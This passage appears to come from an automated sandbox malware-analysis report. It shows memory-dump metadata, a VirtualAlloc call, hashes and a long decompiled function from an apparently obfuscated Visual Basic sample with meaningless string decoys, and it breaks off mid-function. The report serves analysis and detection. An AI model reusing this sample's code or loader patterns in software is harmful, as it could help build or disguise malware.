0x00404389
0x0040438d
0x0040438e
0x00404391
0x00404394
0x00404397
0x0040439e
0x0040439f
0x004043a3
0x004043a6
0x004043aa
0x004043ab
0x004043ae
0x004043b2
0x004043ba
0x004043be
0x004043c2
0x004043c4
0x004043c5
0x004043c6
0x004043ca
0x004043cf
0x004043d3
0x004043d7

APIs

VirtualAlloc.KERNELBASE(00000000,-00036953,FFFFAA98,00000004), ref: 00404370

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 236d82caf2b1d9ad8e321a8ecd8d78c75418c1b3d08397a3b7b5a23bdfbaa875
Instruction ID: 79405022ac366196755f0e36a12306f2cdbf3c5758518f53c553648fcc9acfcb
Opcode Fuzzy Hash: 236d82caf2b1d9ad8e321a8ecd8d78c75418c1b3d08397a3b7b5a23bdfbaa875
Instruction Fuzzy Hash: C871CAB2804608AFEBC45F30C48A79A7BF0FF503A9F966519FC8742191D7BD89C58B81

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9BA, Relevance: 341.7, APIs: 182, Strings: 12, Instructions: 2220
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E0040E9BA(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				void* _v8;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v40;
				short _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				long long _v60;
				char _v64;
				long long _v72;
				void* _v88;
				short _v92;
				signed int _v96;
				void* _v112;
				signed int _v120;
				signed int _v124;
				char _v128;
				char _v132;
				char _v136;
				signed int _v140;
				char _v144;
				signed int _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v168;
				char _v176;
				intOrPtr _v184;
				char _v192;
				char _v200;
				char _v208;
				char* _v216;
				char _v224;
				char* _v232;
				intOrPtr _v240;
				intOrPtr _v248;
				intOrPtr _v256;
				char _v260;
				char _v264;
				char _v268;
				void* _v272;
				char _v276;
				char _v280;
				char _v284;
				char _v288;
				char _v292;
				intOrPtr _v296;
				char _v300;
				intOrPtr _v304;
				char _v308;
				signed int _v312;
				signed int _v316;
				intOrPtr* _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				intOrPtr* _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				char _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				intOrPtr* _v412;
				signed int _v416;
				signed int _v420;
				intOrPtr* _v424;
				signed int _v428;
				intOrPtr* _v432;
				signed int _v436;
				intOrPtr* _v440;
				signed int _v444;
				intOrPtr* _v448;
				signed int _v452;
				intOrPtr* _v456;
				signed int _v460;
				intOrPtr* _v464;
				signed int _v468;
				intOrPtr* _v472;
				signed int _v476;
				intOrPtr* _v480;
				signed int _v484;
				signed int _v488;
				intOrPtr* _v492;
				signed int _v496;
				intOrPtr* _v500;
				signed int _v504;
				intOrPtr* _v508;
				signed int _v512;
				intOrPtr* _v516;
				signed int _v520;
				intOrPtr* _v524;
				signed int _v528;
				intOrPtr* _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				intOrPtr* _v548;
				signed int _v552;
				intOrPtr* _v556;
				signed int _v560;
				intOrPtr* _v564;
				signed int _v568;
				signed int _v572;
				intOrPtr* _v576;
				signed int _v580;
				intOrPtr* _v584;
				signed int _v588;
				intOrPtr* _v592;
				signed int _v596;
				intOrPtr* _v600;
				signed int _v604;
				intOrPtr* _v608;
				signed int _v612;
				signed int _v616;
				intOrPtr* _v620;
				signed int _v624;
				intOrPtr* _v628;
				signed int _v632;
				intOrPtr* _v636;
				signed int _v640;
				intOrPtr* _v644;
				signed int _v648;
				intOrPtr* _v652;
				signed int _v656;
				intOrPtr* _v660;
				signed int _v664;
				intOrPtr* _v668;
				signed int _v672;
				intOrPtr* _v676;
				signed int _v680;
				intOrPtr* _v684;
				signed int _v688;
				signed int _v692;
				intOrPtr* _v696;
				signed int _v700;
				intOrPtr* _v704;
				signed int _v708;
				signed int _v712;
				intOrPtr* _v716;
				signed int _v720;
				intOrPtr* _v724;
				signed int _v728;
				signed int _v732;
				signed int _v736;
				signed int _t1111;
				signed int _t1118;
				signed int _t1126;
				signed int _t1130;
				char* _t1134;
				signed int _t1138;
				signed int _t1143;
				signed int _t1147;
				signed int _t1166;
				signed int _t1170;
				signed int* _t1175;
				signed int _t1179;
				signed int _t1183;
				signed int _t1187;
				signed int _t1192;
				signed int _t1196;
				char* _t1200;
				signed int _t1204;
				char* _t1206;
				char* _t1209;
				signed int _t1219;
				signed int _t1233;
				signed int _t1237;
				char* _t1241;
				signed int _t1245;
				signed int _t1249;
				signed int _t1253;
				signed int _t1257;
				signed int _t1261;
				char* _t1266;
				signed int _t1270;
				signed int _t1274;
				signed int _t1278;
				char* _t1283;
				signed int _t1289;
				signed int _t1304;
				signed int _t1309;
				signed int _t1313;
				char* _t1317;
				signed int _t1321;
				signed int _t1325;
				signed int _t1329;
				signed int _t1337;
				signed int _t1344;
				signed int _t1348;
				char* _t1352;
				signed int _t1356;
				signed int _t1360;
				signed int _t1364;
				signed int _t1368;
				signed int _t1372;
				char* _t1376;
				signed int _t1380;
				signed int _t1393;
				signed int _t1409;
				signed int _t1413;
				signed int* _t1418;
				signed int _t1422;
				signed int _t1426;
				signed int _t1430;
				signed int _t1434;
				signed int _t1438;
				char* _t1442;
				signed int _t1446;
				signed int _t1451;
				signed int _t1455;
				char* _t1458;
				char* _t1460;
				signed int _t1481;
				signed int _t1485;
				char* _t1489;
				signed int _t1493;
				signed int _t1497;
				signed int _t1501;
				signed int _t1515;
				signed int _t1524;
				signed int _t1528;
				char* _t1532;
				signed int _t1536;
				signed int _t1543;
				signed int _t1550;
				signed int _t1554;
				char* _t1558;
				signed int _t1562;
				signed int _t1570;
				signed int _t1575;
				void* _t1583;
				signed int _t1587;
				signed int _t1591;
				char* _t1596;
				char* _t1608;
				intOrPtr _t1671;
				intOrPtr _t1712;
				signed int* _t1720;
				void* _t1756;
				void* _t1758;
				intOrPtr* _t1759;
				intOrPtr* _t1760;
				void* _t1762;
				void* _t1763;
				void* _t1764;
				void* _t1766;
				void* _t1767;
				void* _t1769;
				void* _t1770;
				void* _t1772;
				void* _t1773;
				void* _t1774;
				void* _t1776;
				long long* _t1777;
				long long* _t1778;

				_t1759 = _t1758 - 0x18;
				 *[fs:0x0] = _t1759;
				L004012E0();
				_v28 = _t1759;
				_v24 = 0x401128;
				_v20 = _a4 & 0x00000001;
				_a4 = _a4 & 0xfffffffe;
				_v16 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t1756);
				_v8 = 1;
				_v8 = 2;
				_push( &_v176);
				L00401442();
				_v216 = L"udsanering";
				_v224 = 0x8008;
				_push( &_v176);
				_t1111 =  &_v224;
				_push(_t1111);
				L00401448();
				_v312 = _t1111;
				_t1596 =  &_v176;
				L0040143C();
				if(_v312 != 0) {
					_v8 = 3;
					if( *0x413010 != 0) {
						_v412 = 0x413010;
					} else {
						_push("H/P");
						_push(0x402b88);
						L0040142A();
						_v412 = 0x413010;
					}
					_t1587 =  &_v132;
					L00401430();
					_v312 = _t1587;
					_t1591 =  *((intOrPtr*)( *_v312 + 0x158))(_v312,  &_v120, _t1587,  *((intOrPtr*)( *((intOrPtr*)( *_v412)) + 0x300))( *_v412));
					asm("fclex");
					_v316 = _t1591;
					if(_v316 >= 0) {
						_v416 = _v416 & 0x00000000;
					} else {
						_push(0x158);
						_push(0x403ac0);
						_push(_v312);
						_push(_v316);
						L0040145A();
						_v416 = _t1591;
					}
					_v384 = _v120;
					_v120 = _v120 & 0x00000000;
					_v168 = _v384;
					_v176 = 8;
					_push( &_v176);
					L00401436();
					L0040144E();
					_t1596 =  &_v176;
					L0040143C();
				}
				_v8 = 5;
				_v232 = L"SMAAKRAVLET";
				_v240 = 8;
				_v168 = 0x46bb55;
				_v176 = 3;
				_v276 = 0x770254;
				 *_t1759 =  *0x4011f8;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1118 =  *((intOrPtr*)( *_a4 + 0x6f8))(_a4,  &_v276, 0x15f3f,  &_v176, 0x10, _t1596);
				_v312 = _t1118;
				if(_v312 >= 0) {
					_v420 = _v420 & 0x00000000;
				} else {
					_push(0x6f8);
					_push(0x403914);
					_push(_a4);
					_push(_v312);
					L0040145A();
					_v420 = _t1118;
				}
				L0040143C();
				_v8 = 6;
				 *((intOrPtr*)( *_a4 + 0x724))(_a4,  &_v300);
				_v72 = _v300;
				_v8 = 7;
				if( *0x413010 != 0) {
					_v424 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v424 = 0x413010;
				}
				_t1126 =  &_v132;
				L00401430();
				_v312 = _t1126;
				_t1130 =  *((intOrPtr*)( *_v312 + 0x78))(_v312,  &_v276, _t1126,  *((intOrPtr*)( *((intOrPtr*)( *_v424)) + 0x304))( *_v424));
				asm("fclex");
				_v316 = _t1130;
				if(_v316 >= 0) {
					_v428 = _v428 & 0x00000000;
				} else {
					_push(0x78);
					_push(0x403ac0);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v428 = _t1130;
				}
				if( *0x413010 != 0) {
					_v432 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v432 = 0x413010;
				}
				_t1134 =  &_v136;
				L00401430();
				_v320 = _t1134;
				_t1138 =  *((intOrPtr*)( *_v320 + 0x130))(_v320,  &_v140, _t1134,  *((intOrPtr*)( *((intOrPtr*)( *_v432)) + 0x30c))( *_v432));
				asm("fclex");
				_v324 = _t1138;
				if(_v324 >= 0) {
					_v436 = _v436 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x403ac0);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v436 = _t1138;
				}
				_push(0);
				_push(0);
				_push(_v140);
				_push( &_v192); // executed
				L00401424(); // executed
				_t1760 = _t1759 + 0x10;
				if( *0x413010 != 0) {
					_v440 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v440 = 0x413010;
				}
				_t1143 =  &_v144;
				L00401430();
				_v328 = _t1143;
				_t1147 =  *((intOrPtr*)( *_v328 + 0x118))(_v328,  &_v280, _t1143,  *((intOrPtr*)( *((intOrPtr*)( *_v440)) + 0x300))( *_v440));
				asm("fclex");
				_v332 = _t1147;
				if(_v332 >= 0) {
					_v444 = _v444 & 0x00000000;
				} else {
					_push(0x118);
					_push(0x403ac0);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v444 = _t1147;
				}
				_v300 =  *0x4011f0;
				_v288 = 0x5f3676;
				L00401418();
				L0040141E();
				_v284 =  *0x4011e8;
				_v216 = L"BEMISTED";
				_v224 = 8;
				_t1608 =  &_v176;
				L00401412();
				_t144 =  &_v288; // 0x5f3676
				 *_t1760 = _v276;
				_v192 =  *0x4011e0;
				 *((intOrPtr*)( *_a4 + 0x728))(_a4, 0x5da19910, 0x5afc,  &_v176, _t1608, _t1608,  &_v284, _t1608,  &_v120, _v280, _t144,  &_v300, 0x7259,  &_v192);
				L0040140C();
				_push( &_v140);
				_push( &_v144);
				_push( &_v136);
				_push( &_v132);
				_push(4);
				L00401406();
				_push( &_v192);
				_push( &_v176);
				_push(2);
				L00401400();
				_t1762 = _t1760 + 0x20;
				_v8 = 8;
				if( *0x413010 != 0) {
					_v448 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v448 = 0x413010;
				}
				_t1166 =  &_v132;
				L00401430();
				_v312 = _t1166;
				_t1170 =  *((intOrPtr*)( *_v312 + 0xf8))(_v312,  &_v136, _t1166,  *((intOrPtr*)( *((intOrPtr*)( *_v448)) + 0x2fc))( *_v448));
				asm("fclex");
				_v316 = _t1170;
				if(_v316 >= 0) {
					_v452 = _v452 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x403ac0);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v452 = _t1170;
				}
				_push(0);
				_push(0);
				_push(_v136);
				_push( &_v176);
				L00401424();
				_t1763 = _t1762 + 0x10;
				if( *0x413010 != 0) {
					_v456 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v456 = 0x413010;
				}
				_t1175 =  &_v140;
				L00401430();
				_v320 = _t1175;
				_t1179 =  *((intOrPtr*)( *_v320 + 0x158))(_v320,  &_v120, _t1175,  *((intOrPtr*)( *((intOrPtr*)( *_v456)) + 0x30c))( *_v456));
				asm("fclex");
				_v324 = _t1179;
				if(_v324 >= 0) {
					_v460 = _v460 & 0x00000000;
				} else {
					_push(0x158);
					_push(0x403ac0);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v460 = _t1179;
				}
				if( *0x413010 != 0) {
					_v464 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v464 = 0x413010;
				}
				_t1183 =  &_v144;
				L00401430();
				_v328 = _t1183;
				_t1187 =  *((intOrPtr*)( *_v328 + 0x160))(_v328,  &_v148, _t1183,  *((intOrPtr*)( *((intOrPtr*)( *_v464)) + 0x300))( *_v464));
				asm("fclex");
				_v332 = _t1187;
				if(_v332 >= 0) {
					_v468 = _v468 & 0x00000000;
				} else {
					_push(0x160);
					_push(0x403ac0);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v468 = _t1187;
				}
				_push(0);
				_push(0);
				_push(_v148);
				_push( &_v208);
				L00401424();
				_t1764 = _t1763 + 0x10;
				if( *0x413010 != 0) {
					_v472 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v472 = 0x413010;
				}
				_t1192 =  &_v152;
				L00401430();
				_v336 = _t1192;
				_t1196 =  *((intOrPtr*)( *_v336 + 0x158))(_v336,  &_v124, _t1192,  *((intOrPtr*)( *((intOrPtr*)( *_v472)) + 0x304))( *_v472));
				asm("fclex");
				_v340 = _t1196;
				if(_v340 >= 0) {
					_v476 = _v476 & 0x00000000;
				} else {
					_push(0x158);
					_push(0x403ac0);
					_push(_v336);
					_push(_v340);
					L0040145A();
					_v476 = _t1196;
				}
				if( *0x413010 != 0) {
					_v480 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v480 = 0x413010;
				}
				_t1200 =  &_v156;
				L00401430();
				_v344 = _t1200;
				_t1204 =  *((intOrPtr*)( *_v344 + 0x80))(_v344,  &_v276, _t1200,  *((intOrPtr*)( *((intOrPtr*)( *_v480)) + 0x308))( *_v480));
				asm("fclex");
				_v348 = _t1204;
				if(_v348 >= 0) {
					_v484 = _v484 & 0x00000000;
				} else {
					_push(0x80);
					_push(0x403ac0);
					_push(_v344);
					_push(_v348);
					L0040145A();
					_v484 = _t1204;
				}
				_v292 = _v276;
				_v288 = 0x84ac3;
				_v388 = _v124;
				_v124 = _v124 & 0x00000000;
				L0040141E();
				_t1206 =  &_v208;
				L004013FA();
				_v284 = _t1206;
				_v392 = _v120;
				_v120 = _v120 & 0x00000000;
				_v184 = _v392;
				_v192 = 8;
				_t1209 =  &_v176;
				L004013FA();
				_v280 = _t1209;
				_v216 = L"Tilsjoflingerne9";
				_v224 = 8;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1219 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4, 0x703af6, 0x56b32da0, 0x5b04, 0x10,  &_v280,  &_v192,  &_v284,  &_v128,  &_v288,  &_v292, _t1209, _t1206);
				_v352 = _t1219;
				if(_v352 >= 0) {
					_v488 = _v488 & 0x00000000;
				} else {
					_push(0x6fc);
					_push(0x403914);
					_push(_a4);
					_push(_v352);
					L0040145A();
					_v488 = _t1219;
				}
				L0040140C();
				_push( &_v148);
				_push( &_v136);
				_push( &_v156);
				_push( &_v152);
				_push( &_v144);
				_push( &_v140);
				_push( &_v132);
				_push(7);
				L00401406();
				_push( &_v208);
				_push( &_v192);
				_push( &_v176);
				_push(3);
				L00401400();
				_t1766 = _t1764 + 0x30;
				_v8 = 9;
				if( *0x413010 != 0) {
					_v492 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v492 = 0x413010;
				}
				_t1233 =  &_v132;
				L00401430();
				_v312 = _t1233;
				_t1237 =  *((intOrPtr*)( *_v312 + 0x60))(_v312,  &_v276, _t1233,  *((intOrPtr*)( *((intOrPtr*)( *_v492)) + 0x308))( *_v492));
				asm("fclex");
				_v316 = _t1237;
				if(_v316 >= 0) {
					_v496 = _v496 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x403ac0);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v496 = _t1237;
				}
				if( *0x413010 != 0) {
					_v500 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v500 = 0x413010;
				}
				_t1241 =  &_v136;
				L00401430();
				_v320 = _t1241;
				_t1245 =  *((intOrPtr*)( *_v320 + 0x60))(_v320,  &_v280, _t1241,  *((intOrPtr*)( *((intOrPtr*)( *_v500)) + 0x308))( *_v500));
				asm("fclex");
				_v324 = _t1245;
				if(_v324 >= 0) {
					_v504 = _v504 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x403ac0);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v504 = _t1245;
				}
				if( *0x413010 != 0) {
					_v508 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v508 = 0x413010;
				}
				_t1249 =  &_v140;
				L00401430();
				_v328 = _t1249;
				_t1253 =  *((intOrPtr*)( *_v328 + 0x138))(_v328,  &_v284, _t1249,  *((intOrPtr*)( *((intOrPtr*)( *_v508)) + 0x300))( *_v508));
				asm("fclex");
				_v332 = _t1253;
				if(_v332 >= 0) {
					_v512 = _v512 & 0x00000000;
				} else {
					_push(0x138);
					_push(0x403ac0);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v512 = _t1253;
				}
				if( *0x413010 != 0) {
					_v516 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v516 = 0x413010;
				}
				_t1257 =  &_v144;
				L00401430();
				_v336 = _t1257;
				_t1261 =  *((intOrPtr*)( *_v336 + 0x130))(_v336,  &_v148, _t1257,  *((intOrPtr*)( *((intOrPtr*)( *_v516)) + 0x300))( *_v516));
				asm("fclex");
				_v340 = _t1261;
				if(_v340 >= 0) {
					_v520 = _v520 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x403ac0);
					_push(_v336);
					_push(_v340);
					L0040145A();
					_v520 = _t1261;
				}
				_push(0);
				_push(0);
				_push(_v148);
				_push( &_v192);
				L00401424();
				_t1767 = _t1766 + 0x10;
				if( *0x413010 != 0) {
					_v524 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v524 = 0x413010;
				}
				_t1266 =  &_v152;
				L00401430();
				_v344 = _t1266;
				_t1270 =  *((intOrPtr*)( *_v344 + 0x118))(_v344,  &_v288, _t1266,  *((intOrPtr*)( *((intOrPtr*)( *_v524)) + 0x30c))( *_v524));
				asm("fclex");
				_v348 = _t1270;
				if(_v348 >= 0) {
					_v528 = _v528 & 0x00000000;
				} else {
					_push(0x118);
					_push(0x403ac0);
					_push(_v344);
					_push(_v348);
					L0040145A();
					_v528 = _t1270;
				}
				if( *0x413010 != 0) {
					_v532 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v532 = 0x413010;
				}
				_t1274 =  &_v156;
				L00401430();
				_v352 = _t1274;
				_t1278 =  *((intOrPtr*)( *_v352 + 0x178))(_v352,  &_v260, _t1274,  *((intOrPtr*)( *((intOrPtr*)( *_v532)) + 0x30c))( *_v532));
				asm("fclex");
				_v356 = _t1278;
				if(_v356 >= 0) {
					_v536 = _v536 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x403ac0);
					_push(_v352);
					_push(_v356);
					L0040145A();
					_v536 = _t1278;
				}
				_v200 = _v288;
				_v208 = 3;
				_v168 = _v284;
				_v176 = 3;
				_v216 = 0x2248ba;
				_v224 = 3;
				_v300 = 0x4edcc010;
				_v296 = 0x5af4;
				_t1283 =  &_v192;
				L00401418();
				L0040141E();
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1289 =  *((intOrPtr*)( *_a4 + 0x700))(_a4,  &_v300, _v276, _v280, 0x10,  &_v176, _t1283, _t1283,  &_v208, _v260,  &_v264);
				_v360 = _t1289;
				if(_v360 >= 0) {
					_v540 = _v540 & 0x00000000;
				} else {
					_push(0x700);
					_push(0x403914);
					_push(_a4);
					_push(_v360);
					L0040145A();
					_v540 = _t1289;
				}
				_v92 = _v264;
				L0040140C();
				L00401406();
				L00401400();
				_t1769 = _t1767 + 0x30;
				_v8 = 0xa;
				_t1304 =  *((intOrPtr*)( *_a4 + 0x704))(_a4,  &_v276, 3,  &_v176,  &_v192,  &_v208, 7,  &_v132,  &_v136,  &_v140,  &_v144,  &_v152,  &_v156,  &_v148);
				_v312 = _t1304;
				if(_v312 >= 0) {
					_v544 = _v544 & 0x00000000;
				} else {
					_push(0x704);
					_push(0x403914);
					_push(_a4);
					_push(_v312);
					L0040145A();
					_v544 = _t1304;
				}
				_v64 = _v276;
				_v8 = 0xb;
				if( *0x413010 != 0) {
					_v548 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v548 = 0x413010;
				}
				_t1309 =  &_v132;
				L00401430();
				_v312 = _t1309;
				_t1313 =  *((intOrPtr*)( *_v312 + 0x188))(_v312,  &_v276, _t1309,  *((intOrPtr*)( *((intOrPtr*)( *_v548)) + 0x30c))( *_v548));
				asm("fclex");
				_v316 = _t1313;
				if(_v316 >= 0) {
					_v552 = _v552 & 0x00000000;
				} else {
					_push(0x188);
					_push(0x403ac0);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v552 = _t1313;
				}
				if( *0x413010 != 0) {
					_v556 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v556 = 0x413010;
				}
				_t1317 =  &_v136;
				L00401430();
				_v320 = _t1317;
				_t1321 =  *((intOrPtr*)( *_v320 + 0x140))(_v320,  &_v260, _t1317,  *((intOrPtr*)( *((intOrPtr*)( *_v556)) + 0x30c))( *_v556));
				asm("fclex");
				_v324 = _t1321;
				if(_v324 >= 0) {
					_v560 = _v560 & 0x00000000;
				} else {
					_push(0x140);
					_push(0x403ac0);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v560 = _t1321;
				}
				if( *0x413010 != 0) {
					_v564 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v564 = 0x413010;
				}
				_t1325 =  &_v140;
				L00401430();
				_v328 = _t1325;
				_t1329 =  *((intOrPtr*)( *_v328 + 0x50))(_v328,  &_v120, _t1325,  *((intOrPtr*)( *((intOrPtr*)( *_v564)) + 0x308))( *_v564));
				asm("fclex");
				_v332 = _t1329;
				if(_v332 >= 0) {
					_v568 = _v568 & 0x00000000;
				} else {
					_push(0x50);
					_push(0x403ac0);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v568 = _t1329;
				}
				_v396 = _v120;
				_v120 = _v120 & 0x00000000;
				_v168 = _v396;
				_v176 = 8;
				_v264 = _v260;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1337 =  *((intOrPtr*)( *_a4 + 0x708))(_a4, _v276,  &_v264, 0x10);
				_v336 = _t1337;
				if(_v336 >= 0) {
					_v572 = _v572 & 0x00000000;
				} else {
					_push(0x708);
					_push(0x403914);
					_push(_a4);
					_push(_v336);
					L0040145A();
					_v572 = _t1337;
				}
				_push( &_v140);
				_push( &_v136);
				_push( &_v132);
				_push(3);
				L00401406();
				_t1770 = _t1769 + 0x10;
				L0040143C();
				_v8 = 0xc;
				if( *0x413010 != 0) {
					_v576 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v576 = 0x413010;
				}
				_t1344 =  &_v132;
				L00401430();
				_v312 = _t1344;
				_t1348 =  *((intOrPtr*)( *_v312 + 0x188))(_v312,  &_v276, _t1344,  *((intOrPtr*)( *((intOrPtr*)( *_v576)) + 0x30c))( *_v576));
				asm("fclex");
				_v316 = _t1348;
				if(_v316 >= 0) {
					_v580 = _v580 & 0x00000000;
				} else {
					_push(0x188);
					_push(0x403ac0);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v580 = _t1348;
				}
				if( *0x413010 != 0) {
					_v584 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v584 = 0x413010;
				}
				_t1352 =  &_v136;
				L00401430();
				_v320 = _t1352;
				_t1356 =  *((intOrPtr*)( *_v320 + 0x48))(_v320,  &_v120, _t1352,  *((intOrPtr*)( *((intOrPtr*)( *_v584)) + 0x308))( *_v584));
				asm("fclex");
				_v324 = _t1356;
				if(_v324 >= 0) {
					_v588 = _v588 & 0x00000000;
				} else {
					_push(0x48);
					_push(0x403ac0);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v588 = _t1356;
				}
				if( *0x413010 != 0) {
					_v592 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v592 = 0x413010;
				}
				_t1360 =  &_v140;
				L00401430();
				_v328 = _t1360;
				_t1364 =  *((intOrPtr*)( *_v328 + 0x68))(_v328,  &_v280, _t1360,  *((intOrPtr*)( *((intOrPtr*)( *_v592)) + 0x308))( *_v592));
				asm("fclex");
				_v332 = _t1364;
				if(_v332 >= 0) {
					_v596 = _v596 & 0x00000000;
				} else {
					_push(0x68);
					_push(0x403ac0);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v596 = _t1364;
				}
				if( *0x413010 != 0) {
					_v600 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v600 = 0x413010;
				}
				_t1368 =  &_v144;
				L00401430();
				_v336 = _t1368;
				_t1372 =  *((intOrPtr*)( *_v336 + 0x130))(_v336,  &_v148, _t1368,  *((intOrPtr*)( *((intOrPtr*)( *_v600)) + 0x30c))( *_v600));
				asm("fclex");
				_v340 = _t1372;
				if(_v340 >= 0) {
					_v604 = _v604 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x403ac0);
					_push(_v336);
					_push(_v340);
					L0040145A();
					_v604 = _t1372;
				}
				if( *0x413010 != 0) {
					_v608 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v608 = 0x413010;
				}
				_t1671 =  *((intOrPtr*)( *_v608));
				_t1376 =  &_v152;
				L00401430();
				_v344 = _t1376;
				_t1380 =  *((intOrPtr*)( *_v344 + 0x108))(_v344,  &_v124, _t1376,  *((intOrPtr*)(_t1671 + 0x304))( *_v608));
				asm("fclex");
				_v348 = _t1380;
				if(_v348 >= 0) {
					_v612 = _v612 & 0x00000000;
				} else {
					_push(0x108);
					_push(0x403ac0);
					_push(_v344);
					_push(_v348);
					L0040145A();
					_v612 = _t1380;
				}
				_v400 = _v124;
				_v124 = _v124 & 0x00000000;
				_v184 = _v400;
				_v192 = 8;
				_v404 = _v148;
				_v148 = _v148 & 0x00000000;
				_v168 = _v404;
				_v176 = 9;
				_v288 = 0x24158f;
				_v284 = _v276;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v728 =  *0x4011d8;
				_t1393 =  *((intOrPtr*)( *_a4 + 0x70c))(_a4,  &_v284, _v120, _t1671, _t1671, _v280,  &_v288, 0x10,  &_v192, 0xf0230230, 0x5afa,  &_v208);
				_v352 = _t1393;
				if(_v352 >= 0) {
					_v616 = _v616 & 0x00000000;
				} else {
					_push(0x70c);
					_push(0x403914);
					_push(_a4);
					_push(_v352);
					L0040145A();
					_v616 = _t1393;
				}
				L004013F4();
				L0040140C();
				L00401406();
				L00401400();
				_t1772 = _t1770 + 0x24;
				_v8 = 0xd;
				L004013EE();
				 *((intOrPtr*)( *_a4 + 0x72c))(_a4, 0x78e34920, 0x5b07, 0x7329fe,  &_v120,  &_v300, 2,  &_v176,  &_v192, 5,  &_v132,  &_v136,  &_v140,  &_v144,  &_v152);
				_v60 = _v300;
				L0040140C();
				_v8 = 0xe;
				if( *0x413010 != 0) {
					_v620 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v620 = 0x413010;
				}
				_t1409 =  &_v132;
				L00401430();
				_v312 = _t1409;
				_t1413 =  *((intOrPtr*)( *_v312 + 0xf8))(_v312,  &_v136, _t1409,  *((intOrPtr*)( *((intOrPtr*)( *_v620)) + 0x2fc))( *_v620));
				asm("fclex");
				_v316 = _t1413;
				if(_v316 >= 0) {
					_v624 = _v624 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x403ac0);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v624 = _t1413;
				}
				_push(0);
				_push(0);
				_push(_v136);
				_push( &_v176);
				L00401424();
				_t1773 = _t1772 + 0x10;
				if( *0x413010 != 0) {
					_v628 = 0x413010;
				} else {
					_push("H/P");
					_push(0x402b88);
					L0040142A();
					_v628 = 0x413010;
				}
				_t1418 =  &_v140;
				L00401430();
